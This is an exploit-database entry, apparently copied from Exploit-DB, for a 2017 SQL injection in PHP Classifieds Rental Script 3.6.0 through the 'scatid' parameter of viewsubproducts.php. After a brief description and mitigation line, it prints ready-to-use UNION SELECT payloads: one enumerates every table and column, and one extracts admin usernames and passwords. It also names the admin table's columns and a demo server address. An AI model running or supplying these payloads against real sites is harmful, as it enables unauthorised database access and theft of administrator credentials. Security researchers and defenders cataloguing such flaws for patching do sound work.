header-logo
Suggest Exploit
vendor:
PHP Classifieds Rental Script
by:
Ihsan Sencan
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PHP Classifieds Rental Script
Affected Version From: 3.6.0
Affected Version To: 3.6.0
Patch Exists: YES
Related CWE: N/A
CPE: a:phpscriptsmall:php_classifieds_rental_script
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Win7 x64, Kali Linux x64
2017

PHP Classifieds Rental Script v3.6.0 – SQL Injection

An attacker can exploit a SQL injection vulnerability in PHP Classifieds Rental Script v3.6.0 to gain access to sensitive information such as usernames and passwords. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'viewsubproducts.php' script. An attacker can send a specially crafted HTTP request containing malicious SQL statements to the vulnerable script and execute arbitrary SQL commands in application's database.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: PHP Classifieds Rental Script v3.6.0 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/php-classifieds-rental-script/
# Demo: http://198.38.86.159/~classifiedscript/
# Version: 3.6.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/viewsubproducts.php?scatid=[SQL]
# For example;
# -2'+/*!50000union*/+select+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64-- -
# admin:admin_id
# admin:admin_name
# admin:username
# admin:adminpassword
# -2'+/*!50000union*/+select+1,/*!50000concat*/(username,0x3a,adminpassword),3,4,0x496873616e2053656e63616e207777772e696873616e2e6e6574,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64+from+admin-- -
# Etc...
# # # # #